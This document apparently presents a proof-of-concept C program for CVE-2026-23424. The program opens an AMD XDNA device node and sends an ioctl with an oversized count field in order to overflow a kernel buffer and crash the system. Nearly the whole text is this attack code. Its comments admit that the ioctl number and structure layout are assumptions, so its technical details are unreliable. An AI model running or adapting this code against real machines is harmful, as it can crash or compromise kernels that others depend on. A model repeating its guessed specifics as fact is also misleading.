CVE-2026-23424

/* * PoC for CVE-2026-23424 * This PoC demonstrates how to trigger the buffer overflow * by crafting a command with an invalid payload count. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/amdxdna_hw" #define IOCTL_CMD 0x8001 // Example IOCTL number struct cmd_header { uint32_t count; uint32_t flags; }; int main() { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } // Allocate a buffer size_t buf_size = 0x1000; char* buffer = malloc(buf_size); struct cmd_header* hdr = (struct cmd_header*)buffer; // Set a malicious count that exceeds the actual buffer size hdr->count = 0xFFFFFFFF; // Trigger the validation bypass hdr->flags = 0; printf("Sending malicious command...\n"); // Assuming the driver uses this structure directly if (ioctl(fd, IOCTL_CMD, buffer) < 0) { perror("IOCTL failed"); } else { printf("Command sent, check kernel logs for crash.\n"); } free(buffer); close(fd); return 0; }

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